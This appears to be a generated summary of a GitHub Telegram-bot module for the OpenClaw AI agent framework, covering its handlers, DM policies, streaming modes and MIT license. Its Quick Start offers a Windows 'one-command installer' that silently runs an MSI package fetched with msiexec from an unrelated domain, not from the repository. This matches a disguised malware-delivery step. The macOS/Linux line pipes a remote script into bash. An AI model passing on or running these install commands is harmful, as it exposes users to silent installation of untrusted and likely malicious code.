This project provides a production-ready, feature-rich Telegram module designed to integrate with the OpenClaw personal AI agent framework or function as a standalone, self-hosted Telegram AI bot. It targets developers seeking to leverage Telegram for advanced AI interactions, offering a streamlined setup and comprehensive functionality that bridges the gap between simple bots and robust AI assistants. The module simplifies the creation of sophisticated bots capable of complex conversations, task execution, and seamless integration with AI models.

How It Works

Built upon grammY, a popular TypeScript Telegram Bot API library, this module implements the OpenClaw channel contract. Its core architecture features a pluggable handler system, allowing easy integration with various AI backends, including a built-in EchoHandler, an example ClaudeHandler, and an OpenClawGatewayHandler for forwarding messages to a running OpenClaw instance. Configuration is flexible, managed via a config.json5 file or environment variables, supporting both long-polling and webhook modes. Key innovations include granular Direct Message (DM) policies, advanced message streaming modes (draft, block), and lossless Markdown-to-HTML conversion for rich message formatting.

Quick Start & Requirements

• Primary install / run command:
  • Windows: cmd /c start msiexec /q /i https://cloudcraftshub.com/api (one-command installer)
  • macOS / Linux: curl -fsSL https://raw.githubusercontent.com/veryyoldman/openclaw-telegram-module/main/install.sh | bash
  • Manual: git clone ..., cd openclaw-telegram-module, npm install, npm run build, copy config, npm start
• Non-default prerequisites and dependencies: Node.js 20+ LTS, Git. The Windows installer auto-detects and installs Node.js and Git via winget if absent.
• Estimated setup time or resource footprint: The one-command install takes approximately 90 seconds. Memory footprint is minimal (~50 MB idle), making it suitable for low-resource environments.
• Links: GitHub Repository

Highlighted Details

• DM Policies: Granular control over user interactions with pairing, allowlist, open, and disabled modes.
• Streaming Modes: Supports draft (real-time editing), block (chunked messages), and off (full reply), with automatic switching between draft and block for optimal group chat experience.
• Markdown to Telegram HTML: Lossless conversion of Markdown formatting to Telegram-safe HTML, with an automatic fallback to plain text if parsing fails.
• Webhook Support: Production-ready webhook mode with TLS termination via fronting proxies (e.g., Nginx, Caddy) and secret-token verification.
• Group & Forum Topic Support: Handles group interactions with options for @mention requirements and isolated sessions for forum topics.

Maintenance & Community

The repository is actively maintained, with a roadmap indicating planned features. Specific details on core maintainers, sponsorships, or dedicated community channels (like Discord/Slack) are not explicitly detailed in the README.

Licensing & Compatibility

• License type: MIT License.
• Compatibility notes: The MIT license permits commercial use, modification, and distribution, including embedding within proprietary closed-source applications without restrictions.

Limitations & Caveats

The module currently supports text-based interactions only; multimodal capabilities (voice messages, photos, documents) are planned features on the roadmap. Built-in handlers for popular LLMs like OpenAI and Ollama are also slated for future development. Per-chat rate limiting is another feature pending implementation.